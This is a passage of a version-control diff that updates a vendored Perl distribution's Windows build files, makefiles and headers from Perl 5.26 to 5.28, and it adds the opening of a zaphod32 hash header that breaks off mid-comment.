-PERLIMPLIB	= $(COREDIR)\libperl526$(a)
-PERLSTATICLIB	= ..\libperl526s$(a)
+PERLIMPLIB	= $(COREDIR)\libperl528$(a)
+PERLSTATICLIB	= ..\libperl528s$(a)
 INT64		= long long
 
 .ELSE
@@ -911,10 +934,11 @@
 
 # makedef.pl must be updated if this changes, and this should normally
 # only change when there is an incompatible revision of the public API.
-PERLIMPLIB	*= $(COREDIR)\perl526$(a)
-PERLEXPLIB	*= $(COREDIR)\perl526.exp
-PERLSTATICLIB	*= ..\perl526s$(a)
-PERLDLL		= ..\perl526.dll
+PERLIMPLIB	*= $(COREDIR)\perl528$(a)
+PERLEXPLIB	*= $(COREDIR)\perl528.exp
+PERLSTATICLIB	*= ..\perl528s$(a)
+PERLDLL		= ..\perl528.dll
+PERLDLLBASE	= perl528.dll
 
 #EUMM on Win32 isn't ready for parallel make, so only allow this file to be parallel
 #$(MAKE) will contain the -P that this makefile was called with, which is bad for
@@ -1061,11 +1085,13 @@
 # some exclusions, unfortunately, until fixed:
 #  - MakeMaker isn't capable enough for SDBM_File (small bug)
 STATIC_EXT	= * !SDBM_File
+NORMALIZE_STATIC = Normalize_static
 .ELSE
 # specify static extensions here, for example:
 # (be sure to include Win32CORE to load Win32 on demand)
 #STATIC_EXT	= Win32CORE Cwd Compress/Raw/Zlib
 STATIC_EXT	= Win32CORE
+NORMALIZE_DYN	= Normalize_dyn
 .ENDIF
 
 DYNALOADER	= ..\DynaLoader$(o)
@@ -1113,7 +1139,7 @@
 # Top targets
 #
 
-all : CHECKDMAKE rebasePE Extensions_nonxs $(PERLSTATIC)
+all : CHECKDMAKE rebasePE Extensions_nonxs $(PERLSTATIC) PostExt
 
 ..\regcomp$(o) : ..\regnodes.h ..\regcharclass.h
 
@@ -1241,15 +1267,15 @@
 	echo #undef NVgf&& \
 	echo #undef USE_LONG_DOUBLE&& \
 	echo #undef USE_CPLUSPLUS)>> config.h
-.IF "$(CCTYPE)" == "MSVC140" || "$(CCTYPE)" == "MSVC140FREE"
+.IF "$(CCTYPE)" == "MSVC140" || "$(CCTYPE)" == "MSVC141"
 	@(echo #undef FILE_ptr&& \
 	echo #undef FILE_cnt&& \
 	echo #undef FILE_base&& \
 	echo #undef FILE_bufsiz&& \
-	echo #define FILE_ptr(fp) PERLIO_FILE_ptr(fp)&& \
-	echo #define FILE_cnt(fp) PERLIO_FILE_cnt(fp)&& \
-	echo #define FILE_base(fp) PERLIO_FILE_base(fp)&& \
-	echo #define FILE_bufsiz(fp) (PERLIO_FILE_cnt(fp) + PERLIO_FILE_ptr(fp) - PERLIO_FILE_base(fp))&& \
+	echo #define FILE_ptr^(fp^) PERLIO_FILE_ptr^(fp^)&& \
+	echo #define FILE_cnt^(fp^) PERLIO_FILE_cnt^(fp^)&& \
+	echo #define FILE_base^(fp^) PERLIO_FILE_base^(fp^)&& \
+	echo #define FILE_bufsiz^(fp^) ^(PERLIO_FILE_cnt^(fp^) + PERLIO_FILE_ptr^(fp^) - PERLIO_FILE_base^(fp^)^)&& \
 	echo #define I_STDBOOL)>> config.h
 .ENDIF
 .IF "$(USE_LARGE_FILES)"=="define"
@@ -1262,6 +1288,11 @@
 	echo #define Off_t_size ^4)>> config.h
 .ENDIF
 .IF "$(WIN64)"=="define"
+.IF "$(CCTYPE)" == "GCC"
+	@(echo #define LONG_DOUBLESIZE ^16)>> config.h
+.ELSE
+	@(echo #define LONG_DOUBLESIZE ^8)>> config.h
+.ENDIF
 	@(echo #define PTRSIZE ^8&& \
 	echo #define SSize_t $(INT64)&& \
 	echo #define HAS_ATOLL&& \
@@ -1269,6 +1300,11 @@
 	echo #define HAS_STRTOULL&& \
 	echo #define Size_t_size ^8)>> config.h
 .ELSE
+.IF "$(CCTYPE)" == "GCC"
+	@(echo #define LONG_DOUBLESIZE ^12)>> config.h
+.ELSE
+	@(echo #define LONG_DOUBLESIZE ^8)>> config.h
+.ENDIF
 	@(echo #define PTRSIZE ^4&& \
 	echo #define SSize_t int&& \
 	echo #undef HAS_ATOLL&& \
@@ -1320,15 +1356,9 @@
 	echo #define PERL_PRIgldbl "Lg"&& \
 	echo #define PERL_PRIeldbl "Le"&& \
 	echo #define PERL_SCNfldbl "Lf"&& \
-	echo #define NVTYPE long double)>> config.h
-.IF "$(WIN64)"=="define"
-	@(echo #define NVSIZE ^16&& \
-	echo #define LONG_DOUBLESIZE ^16)>> config.h
-.ELSE
-	@(echo #define NVSIZE ^12&& \
-	echo #define LONG_DOUBLESIZE ^12)>> config.h
-.ENDIF
-	@(echo #define NV_OVERFLOWS_INTEGERS_AT 256.0*256.0*256.0*256.0*256.0*256.0*256.0*2.0*2.0*2.0*2.0*2.0*2.0*2.0*2.0&& \
+	echo #define NVTYPE long double&& \
+	echo #define NVSIZE LONG_DOUBLESIZE&& \
+	echo #define NV_OVERFLOWS_INTEGERS_AT 256.0*256.0*256.0*256.0*256.0*256.0*256.0*2.0*2.0*2.0*2.0*2.0*2.0*2.0*2.0&& \
 	echo #define NVef "Le"&& \
 	echo #define NVff "Lf"&& \
 	echo #define NVgf "Lg"&& \
@@ -1347,7 +1377,6 @@
 	echo #undef PERL_SCNfldbl&& \
 	echo #define NVTYPE double&& \
 	echo #define NVSIZE ^8&& \
-	echo #define LONG_DOUBLESIZE ^8&& \
 	echo #define NV_OVERFLOWS_INTEGERS_AT 256.0*256.0*256.0*256.0*256.0*256.0*2.0*2.0*2.0*2.0*2.0&& \
 	echo #define NVef "e"&& \
 	echo #define NVff "f"&& \
@@ -1403,7 +1432,7 @@
 
 $(PERLEXPLIB) $(PERLIMPLIB) .UPDATEALL : perldll.def
 .IF "$(CCTYPE)" == "GCC"
-	$(IMPLIB) -k -d perldll.def -l $(PERLIMPLIB) -e $(PERLEXPLIB)
+	$(IMPLIB) -k -d perldll.def -D $(PERLDLLBASE) -l $(PERLIMPLIB) -e $(PERLEXPLIB)
 .ELSE #VC family
 	lib -def:perldll.def -machine:$(ARCHITECTURE) /OUT:$(PERLIMPLIB)
 .ENDIF
@@ -1490,25 +1519,33 @@
 # DynaLoader.pm, so this will have to do
 
 #most of deps of this target are in DYNALOADER and therefore omitted here
-Extensions : $(PERLDEP) $(DYNALOADER) $(GLOBEXE) MakePPPort
+Extensions : $(PERLDEP) $(DYNALOADER) Extension_lib $(GLOBEXE) MakePPPort
 	$(MINIPERL) -I..\lib ..\make_ext.pl "MAKE=$(PLMAKE)" --dir=$(CPANDIR) --dir=$(DISTDIR) --dir=$(EXTDIR) --dynamic !Unicode/Normalize
 
-Extensions_normalize : $(PERLDEP) $(DYNALOADER) $(GLOBEXE) $(UNIDATAFILES)
+Normalize_static : $(CONFIGPM) $(GLOBEXE) $(HAVE_COREDIR) $(UNIDATAFILES)
+	$(MINIPERL) -I..\lib ..\make_ext.pl "MAKE=$(PLMAKE)" --dir=$(CPANDIR) --dir=$(DISTDIR) --dir=$(EXTDIR) --static +Unicode/Normalize
+
+Normalize_dyn : $(PERLDEP) $(DYNALOADER) $(GLOBEXE) $(UNIDATAFILES)
 	$(MINIPERL) -I..\lib ..\make_ext.pl "MAKE=$(PLMAKE)" --dir=$(CPANDIR) --dir=$(DISTDIR) --dir=$(EXTDIR) --dynamic +Unicode/Normalize
 
 Extensions_reonly : $(PERLDEP) $(DYNALOADER)
 	$(MINIPERL) -I..\lib ..\make_ext.pl "MAKE=$(PLMAKE)" --dir=$(CPANDIR) --dir=$(DISTDIR) --dir=$(EXTDIR) --dynamic +re
 
-Extensions_static : ..\make_ext.pl list_static_libs.pl $(CONFIGPM) $(GLOBEXE) $(HAVE_COREDIR) MakePPPort
-	$(MINIPERL) -I..\lib ..\make_ext.pl "MAKE=$(PLMAKE)" --dir=$(CPANDIR) --dir=$(DISTDIR) --dir=$(EXTDIR) --static
+Exts_static_general : ..\make_ext.pl $(CONFIGPM) Extension_lib $(GLOBEXE) $(HAVE_COREDIR) MakePPPort
+	$(MINIPERL) -I..\lib ..\make_ext.pl "MAKE=$(PLMAKE)" --dir=$(CPANDIR) --dir=$(DISTDIR) --dir=$(EXTDIR) --static !Unicode/Normalize
+
+Extensions_static : list_static_libs.pl Exts_static_general $(NORMALIZE_STATIC)
 	$(MINIPERL) -I..\lib list_static_libs.pl > Extensions_static
 
 Extensions_nonxs : ..\make_ext.pl ..\pod\perlfunc.pod $(CONFIGPM) $(GLOBEXE)
 	$(MINIPERL) -I..\lib ..\make_ext.pl "MAKE=$(PLMAKE)" --dir=$(CPANDIR) --dir=$(DISTDIR) --dir=$(EXTDIR) --nonxs !libs
 
+Extension_lib : ..\make_ext.pl $(CONFIGPM)
+	$(MINIPERL) -I..\lib ..\make_ext.pl "MAKE=$(PLMAKE)" --dir=$(CPANDIR) --dir=$(DISTDIR) --dir=$(EXTDIR) lib
+
 #lib must be built, it can't be buildcustomize.pl-ed, and is required for XS building
 $(DYNALOADER) : ..\make_ext.pl $(CONFIGPM) $(HAVE_COREDIR)
-	$(MINIPERL) -I..\lib ..\make_ext.pl "MAKE=$(PLMAKE)" --dir=$(EXTDIR) --dir=$(DISTDIR) --dynaloader lib
+	$(MINIPERL) -I..\lib ..\make_ext.pl "MAKE=$(PLMAKE)" --dir=$(EXTDIR) --dir=$(DISTDIR) --dynaloader
 
 Extensions_clean :
 	-if exist $(MINIPERL) $(MINIPERL) -I..\lib ..\make_ext.pl "MAKE=$(PLMAKE)" --dir=$(CPANDIR) --dir=$(DISTDIR) --dir=$(EXTDIR) --all --target=clean
@@ -1519,13 +1556,24 @@
 # all PE files need to be built by the time this target runs, PP files can still
 # be running in parallel like UNIDATAFILES, this target a placeholder for the
 # future
-.IF "$(BUILD_STATIC)"=="define"
-rebasePE : Extensions $(PERLDLL) Extensions_normalize $(PERLEXE) $(PERLEXESTATIC)
+.IF "$(PERLSTATIC)"=="static"
+rebasePE : Extensions $(PERLDLL) $(PERLEXE) $(PERLEXESTATIC)
 .ELSE
-rebasePE : Extensions $(PERLDLL) Extensions_normalize $(PERLEXE)
+rebasePE : Extensions $(PERLDLL) $(NORMALIZE_DYN) $(PERLEXE)
 .ENDIF
 	$(NOOP)
 
+PostExt : ..\lib\Storable\Limit.pm
+	$(NOOP)
+
+# we need the exe, perl(ver).dll, and the Exporter, Storable, Win32 extensions
+# rebasePE most of that, including adjustment for static builds, so we
+# just need non-xs extensions
+..\lib\Storable\Limit.pm : rebasePE Extensions_nonxs
+	cd ..\dist\Storable && $(MAKE) lib\Storable\Limit.pm
+	if not exist ..\lib\Storable mkdir ..\lib\Storable
+	copy ..\dist\Storable\lib\Storable\Limit.pm ..\lib\Storable\Limit.pm
+
 #-------------------------------------------------------------------------------
 
 
@@ -1574,12 +1622,12 @@
 	copy ..\README.tw       ..\pod\perltw.pod
 	copy ..\README.vos      ..\pod\perlvos.pod
 	copy ..\README.win32    ..\pod\perlwin32.pod
-	copy ..\pod\perldelta.pod ..\pod\perl5260delta.pod
+	copy ..\pod\perldelta.pod ..\pod\perl5280delta.pod
 	$(MINIPERL) -I..\lib $(PL2BAT) $(UTILS)
 	$(MINIPERL) -I..\lib ..\autodoc.pl ..
 	$(MINIPERL) -I..\lib ..\pod\perlmodlib.PL -q ..
 
-..\pod\perltoc.pod: $(PERLEXE) $(PERLDLL) Extensions Extensions_nonxs Extensions_normalize utils
+..\pod\perltoc.pod: $(PERLEXE) $(PERLDLL) Extensions Extensions_nonxs $(NORMALIZE_DYN) utils
 	$(PERLEXE) -f ..\pod\buildtoc -q
 
 # Note that the pod cleanup in this next section is parsed (and regenerated
@@ -1596,11 +1644,11 @@
 	-del /f $(LIBDIR)\SDBM_File.pm $(LIBDIR)\Socket.pm $(LIBDIR)\POSIX.pm
 	-del /f $(LIBDIR)\B.pm $(LIBDIR)\O.pm $(LIBDIR)\re.pm
 	-del /f $(LIBDIR)\File\Glob.pm
-	-del /f $(LIBDIR)\Storable.pm
 	-del /f $(LIBDIR)\Sys\Hostname.pm
 	-del /f $(LIBDIR)\Time\HiRes.pm
 	-del /f $(LIBDIR)\Unicode\Normalize.pm
 	-del /f $(LIBDIR)\Math\BigInt\FastCalc.pm
+	-del /f $(LIBDIR)\Storable.pm $(LIBDIR)\Storable\Limit.pm
 	-del /f $(LIBDIR)\Win32.pm
 	-del /f $(LIBDIR)\Win32CORE.pm
 	-del /f $(LIBDIR)\Win32API\File.pm
@@ -1672,7 +1720,7 @@
 	-if exist $(LIBDIR)\Win32API rmdir /s /q $(LIBDIR)\Win32API
 	-if exist $(LIBDIR)\XS rmdir /s /q $(LIBDIR)\XS
 	-cd $(PODDIR) && del /f *.html *.bat roffitall \
-	    perl5260delta.pod perlaix.pod perlamiga.pod perlandroid.pod \
+	    perl5280delta.pod perlaix.pod perlamiga.pod perlandroid.pod \
 	    perlapi.pod perlbs2000.pod perlce.pod perlcn.pod perlcygwin.pod \
 	    perldos.pod perlfreebsd.pod perlhaiku.pod perlhpux.pod \
 	    perlhurd.pod perlintern.pod perlirix.pod perljp.pod perlko.pod \

Modified: vendor/perl/dist/win32/perlhost.h
===================================================================
--- vendor/perl/dist/win32/perlhost.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/win32/perlhost.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2177,17 +2177,11 @@
 void
 CPerlHost::Add(LPCSTR lpStr)
 {
-    char szBuffer[1024];
     LPSTR *lpPtr;
-    int index, length = strlen(lpStr)+1;
+    STRLEN length = strlen(lpStr)+1;
 
-    for(index = 0; lpStr[index] != '\0' && lpStr[index] != '='; ++index)
-	szBuffer[index] = lpStr[index];
-
-    szBuffer[index] = '\0';
-
     // replacing ?
-    lpPtr = Lookup(szBuffer);
+    lpPtr = Lookup(lpStr);
     if (lpPtr != NULL) {
 	// must allocate things via host memory allocation functions 
 	// rather than perl's Renew() et al, as the perl interpreter

Modified: vendor/perl/dist/win32/perllib.c
===================================================================
--- vendor/perl/dist/win32/perllib.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/win32/perllib.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -242,23 +242,22 @@
     if (use_environ)
         env = environ;
 
-    exitstatus = perl_parse(my_perl, xs_init, argc, argv, env);
-    if (!exitstatus) {
+    if (!perl_parse(my_perl, xs_init, argc, argv, env)) {
 #if defined(TOP_CLONE) && defined(USE_ITHREADS)		/* XXXXXX testing */
 	new_perl = perl_clone(my_perl, 1);
-	exitstatus = perl_run(new_perl);
+	(void) perl_run(new_perl);
 	PERL_SET_THX(my_perl);
 #else
-	exitstatus = perl_run(my_perl);
+	(void) perl_run(my_perl);
 #endif
     }
 
-    perl_destruct(my_perl);
+    exitstatus = perl_destruct(my_perl);
     perl_free(my_perl);
 #ifdef USE_ITHREADS
     if (new_perl) {
 	PERL_SET_THX(new_perl);
-	perl_destruct(new_perl);
+	exitstatus = perl_destruct(new_perl);
 	perl_free(new_perl);
     }
 #endif

Modified: vendor/perl/dist/win32/pod.mak
===================================================================
--- vendor/perl/dist/win32/pod.mak	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/win32/pod.mak	2018-12-22 22:55:19 UTC (rev 12126)
@@ -44,9 +44,16 @@
 	perl5221delta.pod	\
 	perl5222delta.pod	\
 	perl5223delta.pod	\
+	perl5224delta.pod	\
 	perl5240delta.pod	\
 	perl5241delta.pod	\
+	perl5242delta.pod	\
+	perl5243delta.pod	\
+	perl5244delta.pod	\
 	perl5260delta.pod	\
+	perl5261delta.pod	\
+	perl5262delta.pod	\
+	perl5280delta.pod	\
 	perl561delta.pod	\
 	perl56delta.pod	\
 	perl581delta.pod	\
@@ -186,9 +193,16 @@
 	perl5221delta.man	\
 	perl5222delta.man	\
 	perl5223delta.man	\
+	perl5224delta.man	\
 	perl5240delta.man	\
 	perl5241delta.man	\
+	perl5242delta.man	\
+	perl5243delta.man	\
+	perl5244delta.man	\
 	perl5260delta.man	\
+	perl5261delta.man	\
+	perl5262delta.man	\
+	perl5280delta.man	\
 	perl561delta.man	\
 	perl56delta.man	\
 	perl581delta.man	\
@@ -295,6 +309,7 @@
 	perlutil.man	\
 	perlvar.man	\
 	perlvms.man
+
 HTML = perl.html	\
 	perl5004delta.html	\
 	perl5005delta.html	\
@@ -327,9 +342,16 @@
 	perl5221delta.html	\
 	perl5222delta.html	\
 	perl5223delta.html	\
+	perl5224delta.html	\
 	perl5240delta.html	\
 	perl5241delta.html	\
+	perl5242delta.html	\
+	perl5243delta.html	\
+	perl5244delta.html	\
 	perl5260delta.html	\
+	perl5261delta.html	\
+	perl5262delta.html	\
+	perl5280delta.html	\
 	perl561delta.html	\
 	perl56delta.html	\
 	perl581delta.html	\
@@ -469,9 +491,16 @@
 	perl5221delta.tex	\
 	perl5222delta.tex	\
 	perl5223delta.tex	\
+	perl5224delta.tex	\
 	perl5240delta.tex	\
 	perl5241delta.tex	\
+	perl5242delta.tex	\
+	perl5243delta.tex	\
+	perl5244delta.tex	\
 	perl5260delta.tex	\
+	perl5261delta.tex	\
+	perl5262delta.tex	\
+	perl5280delta.tex	\
 	perl561delta.tex	\
 	perl56delta.tex	\
 	perl581delta.tex	\

Modified: vendor/perl/dist/win32/win32.c
===================================================================
--- vendor/perl/dist/win32/win32.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/win32/win32.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -348,8 +348,8 @@
 	if (!ptr || stricmp(ptr+1, strip) != 0) {
 	    /* ... but not if component matches m|5\.$patchlevel.*| */
 	    if (!ptr || !(*strip == '5' && *(ptr+1) == '5'
-			  && strncmp(strip, base, baselen) == 0
-			  && strncmp(ptr+1, base, baselen) == 0))
+			  && strnEQ(strip, base, baselen)
+			  && strnEQ(ptr+1, base, baselen)))
 	    {
 		*optr = '/';
 		ptr = optr;
@@ -619,6 +619,7 @@
     int status;
     int flag = P_WAIT;
     int index = 0;
+    int eno;
 
     PERL_ARGS_ASSERT_DO_ASPAWN;
 
@@ -645,7 +646,7 @@
 			   (const char*)(really ? SvPV_nolen(really) : argv[0]),
 			   (const char* const*)argv);
 
-    if (status < 0 && (errno == ENOEXEC || errno == ENOENT)) {
+    if (status < 0 && (eno = errno, (eno == ENOEXEC || eno == ENOENT))) {
 	/* possible shell-builtin, invoke with shell */
 	int sh_items;
 	sh_items = w32_perlshell_items;
@@ -1832,7 +1833,7 @@
 		char *end = strchr(cur,'=');
 		if (end && end != cur) {
 		    *end = '\0';
-		    if (!strcmp(cur,name)) {
+		    if (strEQ(cur,name)) {
 			curitem = sv_2mortal(newSVpv(end+1,0));
 			*end = '=';
 			break;
@@ -1849,7 +1850,7 @@
 	else {
 	    /* last ditch: allow any environment variables that begin with 'PERL'
 	       to be obtained from the registry, if found there */
-	    if (strncmp(name, "PERL", 4) == 0)
+	    if (strBEGINs(name, "PERL"))
 		(void)get_regstr(name, &curitem);
 	}
 #endif

Modified: vendor/perl/dist/win32/win32.h
===================================================================
--- vendor/perl/dist/win32/win32.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/win32/win32.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -103,23 +103,42 @@
  * The XS code in the re extension is special, in that it redefines
  * core APIs locally, so don't mark them as "dllimport" because GCC
  * cannot handle this situation.
+ *
+ * Certain old GCCs will not allow the function pointer of dllimport marked
+ * function to be "const". This was fixed later on. Since this is a
+ * deoptimization, target "gcc version 3.4.5 (mingw-vista special r3)" only,
+ * The GCC bug was fixed in GCC patch "varasm.c (initializer_constant_valid_p):
+ * Don't deny DECL_DLLIMPORT_P on functions", which probably was first released
+ * in GCC 4.3.0, this #if can be expanded upto but not including 4.3.0 if more
+ * deployed GCC are found that wont build with the follow error, initializer
+ * element is a PerlIO func exported from perl5xx.dll.
+ *
+ * encoding.xs:610: error: initializer element is not constant
+ * encoding.xs:610: error: (near initialization for `PerlIO_encode.Open')
  */
-#if !defined(PERLDLL) && !defined(PERL_EXT_RE_BUILD)
-#  ifdef __cplusplus
-#    define PERL_CALLCONV extern "C" __declspec(dllimport)
-#    ifdef _MSC_VER
-#      define PERL_CALLCONV_NO_RET extern "C" __declspec(dllimport) __declspec(noreturn)
+
+#if (defined(__GNUC__) && defined(__MINGW32__) && \
+     !defined(__MINGW64_VERSION_MAJOR) && !defined(__clang__) && \
+	((__GNUC__ < 3) || ((__GNUC__ == 3) && (__GNUC_MINOR__ <= 5))))
+/* use default fallbacks from perl.h for this particular GCC */
+#else
+#  if !defined(PERLDLL) && !defined(PERL_EXT_RE_BUILD)
+#    ifdef __cplusplus
+#      define PERL_CALLCONV extern "C" __declspec(dllimport)
+#      ifdef _MSC_VER
+#        define PERL_CALLCONV_NO_RET extern "C" __declspec(dllimport) __declspec(noreturn)
+#      endif
+#    else
+#      define PERL_CALLCONV __declspec(dllimport)
+#      ifdef _MSC_VER
+#        define PERL_CALLCONV_NO_RET __declspec(dllimport) __declspec(noreturn)
+#      endif
 #    endif
-#  else
-#    define PERL_CALLCONV __declspec(dllimport)
+#  else /* MSVC noreturn support inside the interp */
 #    ifdef _MSC_VER
-#      define PERL_CALLCONV_NO_RET __declspec(dllimport) __declspec(noreturn)
+#      define PERL_CALLCONV_NO_RET __declspec(noreturn)
 #    endif
 #  endif
-#else /* MSVC noreturn support inside the interp */
-#  ifdef _MSC_VER
-#    define PERL_CALLCONV_NO_RET __declspec(noreturn)
-#  endif
 #endif
 
 #ifdef _MSC_VER
@@ -199,7 +218,6 @@
 #endif
 #endif
 
-#define  STANDARD_C	1
 #define  DOSISH		1		/* no escaping our roots */
 #define  OP_BINARY	O_BINARY	/* mistake in in pp_sys.c? */
 
@@ -296,7 +314,7 @@
 #if _MSC_VER >= 1900
 
 /* No longer declared in stdio.h */
-char *gets(char* buffer);
+EXTERN_C char *gets(char* buffer);
 
 #define tzname _tzname
 
@@ -326,7 +344,7 @@
 #define PERLIO_FILE_base(f) (((__crt_stdio_stream_data*)(f))->_base)
 #define PERLIO_FILE_cnt(f)  (((__crt_stdio_stream_data*)(f))->_cnt)
 #define PERLIO_FILE_flag(f) ((int)(((__crt_stdio_stream_data*)(f))->_flags))
-#define PERLIO_FILE_file(f) ((int)(((__crt_stdio_stream_data*)(f))->_file))
+#define PERLIO_FILE_file(f) (*(int*)(&((__crt_stdio_stream_data*)(f))->_file))
 
 #endif
 

Modified: vendor/perl/dist/win32/wince.c
===================================================================
--- vendor/perl/dist/win32/wince.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/win32/wince.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -196,8 +196,8 @@
 	if (!ptr || stricmp(ptr+1, strip) != 0) {
 	    /* ... but not if component matches m|5\.$patchlevel.*| */
 	    if (!ptr || !(*strip == '5' && *(ptr+1) == '5'
-			  && strncmp(strip, base, baselen) == 0
-			  && strncmp(ptr+1, base, baselen) == 0))
+			  && strnEQ(strip, base, baselen)
+			  && strnEQ(ptr+1, base, baselen)))
 	    {
 		*optr = '/';
 		ptr = optr;

Added: vendor/perl/dist/zaphod32_hash.h
===================================================================
--- vendor/perl/dist/zaphod32_hash.h	                        (rev 0)
+++ vendor/perl/dist/zaphod32_hash.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,322 @@
+#ifndef DEBUG_ZAPHOD32_HASH
+#define DEBUG_ZAPHOD32_HASH 0
+
+#if DEBUG_ZAPHOD32_HASH == 1
+#include <stdio.h>
+#define ZAPHOD32_WARN6(pat,v0,v1,v2,v3,v4,v5)    printf(pat, v0, v1, v2, v3, v4, v5)
+#define ZAPHOD32_WARN5(pat,v0,v1,v2,v3,v4)       printf(pat, v0, v1, v2, v3, v4)
+#define ZAPHOD32_WARN4(pat,v0,v1,v2,v3)          printf(pat, v0, v1, v2, v3)
+#define ZAPHOD32_WARN3(pat,v0,v1,v2)             printf(pat, v0, v1, v2)
+#define ZAPHOD32_WARN2(pat,v0,v1)                printf(pat, v0, v1)
+#define NOTE3(pat,v0,v1,v2)             printf(pat, v0, v1, v2)
+#elif DEBUG_ZAPHOD32_HASH == 2
+#define ZAPHOD32_WARN6(pat,v0,v1,v2,v3,v4,v5)
+#define ZAPHOD32_WARN5(pat,v0,v1,v2,v3,v4)
+#define ZAPHOD32_WARN4(pat,v0,v1,v2,v3)
+#define ZAPHOD32_WARN3(pat,v0,v1,v2)
+#define ZAPHOD32_WARN2(pat,v0,v1)
+#define NOTE3(pat,v0,v1,v2)             printf(pat, v0, v1, v2)
+#else
+#define ZAPHOD32_WARN6(pat,v0,v1,v2,v3,v4,v5)
+#define ZAPHOD32_WARN5(pat,v0,v1,v2,v3,v4)
+#define ZAPHOD32_WARN4(pat,v0,v1,v2,v3)
+#define ZAPHOD32_WARN3(pat,v0,v1,v2)
+#define NOTE3(pat,v0,v1,v2)
+#define ZAPHOD32_WARN2(pat,v0,v1)
+#endif
+
+/* Find best way to ROTL32/ROTL64 */
+#ifndef ROTL32
+#if defined(_MSC_VER)
+#include <stdlib.h>  /* Microsoft put _rotl declaration in here */
+#define ROTL32(x,r)  _rotl(x,r)
+#define ROTR32(x,r)  _rotr(x,r)
+#else
+/* gcc recognises this code and generates a rotate instruction for CPUs with one */
+#define ROTL32(x,r)  (((U32)(x) << (r)) | ((U32)(x) >> (32 - (r))))
+#define ROTR32(x,r)  (((U32)(x) << (32 - (r))) | ((U32)(x) >> (r)))
+#endif
+#endif
+
+#ifndef PERL_SEEN_HV_FUNC_H
+#if !defined(U64)
+#include <stdint.h>
+#define U64 uint64_t
+#endif
+
+#if !defined(U32)
+#define U32 uint32_t
+#endif
+
+#if !defined(U8)
+#define U8 unsigned char
+#endif
+
+#if !defined(U16)
+#define U16 uint16_t
+#endif
+
+#ifndef STRLEN
+#define STRLEN int
+#endif
+#endif
+
+#ifndef ZAPHOD32_STATIC_INLINE
+#ifdef PERL_STATIC_INLINE
+#define ZAPHOD32_STATIC_INLINE PERL_STATIC_INLINE
+#else
+#define ZAPHOD32_STATIC_INLINE static inline
+#endif
+#endif
+
+#ifndef STMT_START
+#define STMT_START do
+#define STMT_END while(0)
+#endif
+
+#ifndef ZAPHOD32_ALLOW_UNALIGNED_AND_LITTLE_ENDIAN
+/* ZAPHOD32_ALLOW_UNALIGNED_AND_LITTLE_ENDIAN only matters if nothing has defined U8TO64_LE etc,
+ * and when built with Perl these should be defined before this file is loaded.
+ */
+#ifdef U32_ALIGNMENT_REQUIRED
+#define ZAPHOD32_ALLOW_UNALIGNED_AND_LITTLE_ENDIAN 0
+#else
+#define ZAPHOD32_ALLOW_UNALIGNED_AND_LITTLE_ENDIAN 1
+#endif
+#endif
+
+#ifndef U8TO32_LE
+#if ZAPHOD32_ALLOW_UNALIGNED_AND_LITTLE_ENDIAN
+#define U8TO32_LE(ptr)  (*((const U32 *)(ptr)))
+#else
+#define U8TO32_LE(ptr)  (\
+    (U32)(ptr)[3] << 24 | \
+    (U32)(ptr)[2] << 16 | \
+    (U32)(ptr)[1] << 8  | \
+    (U32)(ptr)[0]         \
+)
+#endif
+#endif
+
+#ifndef U8TO16_LE
+#if ZAPHOD32_ALLOW_UNALIGNED_AND_LITTLE_ENDIAN
+#define U8TO16_LE(ptr)  (*((const U16 *)(ptr)))
+#else
+#define U8TO16_LE(ptr)  (\
+    (U16)(ptr)[1] << 8  | \
+    (U16)(ptr)[0]         \
+)
+#endif
+#endif
+
+/* This is two marsaglia xor-shift permutes, with a prime-multiple
+ * sandwiched inside. The end result of doing this twice with different
+ * primes is a completely avalanched v.  */
+#define ZAPHOD32_SCRAMBLE32(v,prime) STMT_START {  \
+    v ^= (v>>9);                        \
+    v ^= (v<<21);                       \
+    v ^= (v>>16);                       \
+    v *= prime;                         \
+    v ^= (v>>17);                       \
+    v ^= (v<<15);                       \
+    v ^= (v>>23);                       \
+} STMT_END
+
+#define ZAPHOD32_FINALIZE(v0,v1,v2) STMT_START {          \
+    ZAPHOD32_WARN3("v0=%08x v1=%08x v2=%08x - ZAPHOD32 FINALIZE\n", \
+            (unsigned int)v0, (unsigned int)v1, (unsigned int)v2);  \
+    v2 += v0;                       \
+    v1 -= v2;                       \
+    v1 = ROTL32(v1,  6);           \
+    v2 ^= v1;                       \
+    v2 = ROTL32(v2, 28);           \
+    v1 ^= v2;                       \
+    v0 += v1;                       \
+    v1 = ROTL32(v1, 24);           \
+    v2 += v1;                       \
+    v2 = ROTL32(v2, 18) + v1;      \
+    v0 ^= v2;                       \
+    v0 = ROTL32(v0, 20);           \
+    v2 += v0;                       \
+    v1 ^= v2;                       \
+    v0 += v1;                       \
+    v0 = ROTL32(v0,  5);           \
+    v2 += v0;                       \
+    v2 = ROTL32(v2, 22);           \
+    v0 -= v1;                       \
+    v1 -= v2;                       \
+    v1 = ROTL32(v1, 17);           \
+} STMT_END
+
+#define ZAPHOD32_MIX(v0,v1,v2,text) STMT_START {                              \
+    ZAPHOD32_WARN4("v0=%08x v1=%08x v2=%08x - ZAPHOD32 %s MIX\n",                   \
+            (unsigned int)v0,(unsigned int)v1,(unsigned int)v2, text );  \
+    v0 = ROTL32(v0,16) - v2;   \
+    v1 = ROTR32(v1,13) ^ v2;   \
+    v2 = ROTL32(v2,17) + v1;   \
+    v0 = ROTR32(v0, 2) + v1;   \
+    v1 = ROTR32(v1,17) - v0;   \
+    v2 = ROTR32(v2, 7) ^ v0;   \
+} STMT_END
+
+
+ZAPHOD32_STATIC_INLINE
+void zaphod32_seed_state (
+    const U8 *seed_ch,
+    U8 *state_ch
+) {
+    const U32 *seed= (const U32 *)seed_ch;
+    U32 *state= (U32 *)state_ch;
+  
+    /* hex expansion of pi, skipping first two digits. pi= 3.2[43f6...]*/
+    /* pi value in hex from here:
